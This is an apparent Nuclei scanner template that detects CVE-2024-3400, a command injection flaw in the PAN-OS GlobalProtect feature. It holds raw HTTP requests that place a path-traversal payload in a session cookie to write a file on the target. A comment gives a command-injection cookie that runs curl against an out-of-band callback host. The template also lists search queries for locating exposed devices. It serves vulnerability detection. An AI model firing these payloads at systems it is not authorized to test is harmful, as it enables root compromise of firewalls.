id: CVE-2024-3400

info:
  name: GlobalProtect - OS Command Injection
  author: salts,parthmalhotra
  severity: critical
  description: |
    A command injection vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature configurations may enable an unauthenticated attacker to execute arbitrary code with root privileges on the firewall.Cloud NGFW, Panorama appliances, and Prisma Access are not impacted by this vulnerability.
  reference:
    - https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-CVE-2024-3400/
    - https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis
    - https://nvd.nist.gov/vuln/detail/CVE-2024-3400
    - https://github.com/zam89/CVE-2024-3400-pot
    - https://github.com/ZephrFish/CVE-2024-3400-Canary
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2024-3400
    cwe-id: CWE-20,CWE-77
    epss-score: 0.95703
    epss-percentile: 0.99417
    cpe: cpe:2.3:o:paloaltonetworks:pan-os:10.2.0:-:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: paloaltonetworks
    product: "pan-os"
    shodan-query:
      - "http.favicon.hash:-631559155"
      - http.favicon.hash:"-631559155"
      - cpe:"cpe:2.3:o:paloaltonetworks:pan-os"
    fofa-query: "icon_hash=\"-631559155\""
  tags: cve,cve2024,globalprotect,pan-os,rce,oast,kev,intrusive,paloaltonetworks

http:
  - raw:
      - |
        GET /global-protect/portal/images/{{randstr}}.txt HTTP/1.1 HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /ssl-vpn/hipreport.esp HTTP/1.1
        Host: {{Hostname}}
        Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/{{randstr}}.txt;
        Content-Type: application/x-www-form-urlencoded

        user=global&portal=global&authcookie=e51140e4-4ee3-4ced-9373-96160d68&domain=global&computer=global&client-ip=global&client-ipv6=global&md5-sum=global&gwHipReportCheck=global
      - |
        GET /global-protect/portal/images/{{randstr}}.txt HTTP/1.1 HTTP/1.1
        Host: {{Hostname}}

      # Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}{{interactsh-url}}`; payload for rce, requires cronjob to be executed to run command

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - status_code_1 == 404 && status_code_3 == 403
          - contains(body_2, 'invalid required input parameters')
        condition: and
# digest: 4a0a00473045022008b369ceac1f6e7ed59d42e2370c7ad327a6867980958a81925d5d25122b3f090221009987bd7cdcc2964e527754acdbbd8fbdc3555c53445648c5eb77102ebd08cde7:922c64590222798bb761d5b6d8e72950